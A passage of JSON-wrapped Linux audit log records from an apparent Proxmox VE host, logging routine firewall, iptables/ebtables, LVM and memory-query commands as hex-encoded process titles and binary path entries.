msg=audit(1781964107.939:59626): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965638769,"@rawstring":"node=pve type=PATH msg=audit(1781965638.769:66467): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964107939,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964107.939:59625): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965638769,"@rawstring":"node=pve type=PATH msg=audit(1781965638.769:66467): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105260,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.260:59624): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965638769,"@rawstring":"node=pve type=PATH msg=audit(1781965638.769:66466): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105257,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.257:59623): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965638769,"@rawstring":"node=pve type=PATH msg=audit(1781965638.769:66465): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105255,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.255:59622): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965635975,"@rawstring":"node=pve type=PATH msg=audit(1781965635.975:66464): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105255,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.255:59621): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965635975,"@rawstring":"node=pve type=PATH msg=audit(1781965635.975:66464): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105250,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.250:59620): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965635972,"@rawstring":"node=pve type=PATH msg=audit(1781965635.972:66463): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105244,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.244:59619): proctitle=\"ip6tables-save\""} {"@timestamp":1781965635972,"@rawstring":"node=pve type=PATH msg=audit(1781965635.972:66463): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105238,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.238:59618): proctitle=\"iptables-save\""} {"@timestamp":1781965635970,"@rawstring":"node=pve type=PATH msg=audit(1781965635.970:66462): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105231,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.231:59617): proctitle=\"ip6tables-save\""} {"@timestamp":1781965635970,"@rawstring":"node=pve type=PATH msg=audit(1781965635.970:66462): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105225,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.225:59616): proctitle=\"iptables-save\""} {"@timestamp":1781965635970,"@rawstring":"node=pve type=PATH msg=audit(1781965635.970:66461): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105220,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.220:59615): proctitle=\"ebtables-restore\""} {"@timestamp":1781965635964,"@rawstring":"node=pve type=PATH msg=audit(1781965635.964:66460): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105219,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.219:59614): proctitle=\"ebtables-restore\""} {"@timestamp":1781965635964,"@rawstring":"node=pve type=PATH msg=audit(1781965635.964:66460): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105214,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.214:59613): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965635964,"@rawstring":"node=pve type=PATH msg=audit(1781965635.964:66460): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105209,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.209:59612): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965635954,"@rawstring":"node=pve type=PATH msg=audit(1781965635.954:66459): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105203,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.203:59611): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965635954,"@rawstring":"node=pve type=PATH msg=audit(1781965635.954:66459): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105198,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.198:59610): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965635945,"@rawstring":"node=pve type=PATH msg=audit(1781965635.945:66458): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105193,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.193:59609): proctitle=697073657400726573746F7265"} {"@timestamp":1781965635945,"@rawstring":"node=pve type=PATH msg=audit(1781965635.945:66458): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105185,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.185:59608): proctitle=\"ip6tables-save\""} {"@timestamp":1781965635937,"@rawstring":"node=pve type=PATH msg=audit(1781965635.937:66457): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105178,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.178:59607): proctitle=\"iptables-save\""} {"@timestamp":1781965635937,"@rawstring":"node=pve type=PATH msg=audit(1781965635.937:66457): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105175,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.175:59606): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965635927,"@rawstring":"node=pve type=PATH msg=audit(1781965635.927:66456): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105171,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.171:59605): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965635927,"@rawstring":"node=pve type=PATH msg=audit(1781965635.927:66456): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105170,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.170:59604): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965635921,"@rawstring":"node=pve type=PATH msg=audit(1781965635.921:66454): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105170,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.170:59603): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965635921,"@rawstring":"node=pve type=PATH msg=audit(1781965635.921:66454): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105166,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.166:59602): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965635913,"@rawstring":"node=pve type=PATH msg=audit(1781965635.913:66453): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105160,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.160:59601): proctitle=\"ip6tables-save\""} {"@timestamp":1781965635913,"@rawstring":"node=pve type=PATH msg=audit(1781965635.913:66453): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105153,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.153:59600): proctitle=\"iptables-save\""} {"@timestamp":1781965635903,"@rawstring":"node=pve type=PATH msg=audit(1781965635.903:66452): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105147,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.147:59599): proctitle=69707365740073617665"} {"@timestamp":1781965635903,"@rawstring":"node=pve type=PATH msg=audit(1781965635.903:66452): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105141,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.141:59598): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965635895,"@rawstring":"node=pve type=PATH msg=audit(1781965635.895:66451): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105133,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964105.133:59597): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965635895,"@rawstring":"node=pve type=PATH msg=audit(1781965635.895:66451): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964104998,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964104.998:59596): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965635885,"@rawstring":"node=pve type=PATH msg=audit(1781965635.885:66450): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964104967,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964104.967:59595): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965635885,"@rawstring":"node=pve type=PATH msg=audit(1781965635.885:66450): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964102931,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964102.931:59594): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965635878,"@rawstring":"node=pve type=PATH msg=audit(1781965635.878:66449): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964102931,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964102.931:59593): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965635878,"@rawstring":"node=pve type=PATH msg=audit(1781965635.878:66449): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964102931,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964102.931:59592): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965635868,"@rawstring":"node=pve type=PATH msg=audit(1781965635.868:66448): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964102921,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964102.921:59591): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965635868,"@rawstring":"node=pve type=PATH msg=audit(1781965635.868:66448): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964102921,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964102.921:59590): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965635859,"@rawstring":"node=pve type=PATH msg=audit(1781965635.859:66447): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964102921,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964102.921:59589): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965635859,"@rawstring":"node=pve type=PATH msg=audit(1781965635.859:66447): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964099486,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964099.486:59588): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965635850,"@rawstring":"node=pve type=PATH msg=audit(1781965635.850:66446): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964099486,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964099.486:59587): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781965635850,"@rawstring":"node=pve type=PATH msg=audit(1781965635.850:66446): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964099484,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964099.484:59586): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781965635846,"@rawstring":"node=pve type=PATH msg=audit(1781965635.846:66445): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964097915,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964097.915:59585): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965635846,"@rawstring":"node=pve type=PATH msg=audit(1781965635.846:66445): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964097915,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964097.915:59584): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965635845,"@rawstring":"node=pve type=PATH msg=audit(1781965635.845:66444): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964097915,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964097.915:59583): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965635845,"@rawstring":"node=pve type=PATH msg=audit(1781965635.845:66444): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964097906,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964097.906:59582): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965635844,"@rawstring":"node=pve type=PATH msg=audit(1781965635.844:66443): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964097906,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964097.906:59581): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965635839,"@rawstring":"node=pve type=PATH msg=audit(1781965635.839:66442): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964097906,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964097.906:59580): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965635839,"@rawstring":"node=pve type=PATH msg=audit(1781965635.839:66442): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096123,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964096.123:59579): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965635839,"@rawstring":"node=pve type=PATH msg=audit(1781965635.839:66442): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096119,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964096.119:59578): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965635830,"@rawstring":"node=pve type=PATH msg=audit(1781965635.830:66441): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096118,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964096.118:59577): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965635830,"@rawstring":"node=pve type=PATH msg=audit(1781965635.830:66441): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096118,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964096.118:59576): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965635821,"@rawstring":"node=pve type=PATH msg=audit(1781965635.821:66440): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096114,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964096.114:59575): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965635821,"@rawstring":"node=pve type=PATH msg=audit(1781965635.821:66440): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096107,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964096.107:59574): proctitle=\"ip6tables-save\""} {"@timestamp":1781965635813,"@rawstring":"node=pve type=PATH msg=audit(1781965635.813:66439): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096100,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964096.100:59573): proctitle=\"iptables-save\""} {"@timestamp":1781965635813,"@rawstring":"node=pve type=PATH msg=audit(1781965635.813:66439): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096092,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964096.092:59572): proctitle=\"ip6tables-save\""} {"@timestamp":1781965635803,"@rawstring":"node=pve type=PATH msg=audit(1781965635.803:66438): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096083,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964096.083:59571): proctitle=\"iptables-save\""} {"@timestamp":1781965635803,"@rawstring":"node=pve type=PATH msg=audit(1781965635.803:66438): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096080,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964096.080:59570): proctitle=\"ebtables-restore\""} {"@timestamp":1781965635792,"@rawstring":"node=pve type=PATH msg=audit(1781965635.792:66437): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096078,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964096.078:59569): proctitle=\"ebtables-restore\""} {"@timestamp":1781965635792,"@rawstring":"node=pve type=PATH msg=audit(1781965635.792:66437): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096073,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964096.073:59568): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965634960,"@rawstring":"node=pve type=PATH msg=audit(1781965634.960:66436): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096067,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964096.067:59567): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965634960,"@rawstring":"node=pve type=PATH msg=audit(1781965634.960:66436): item=0 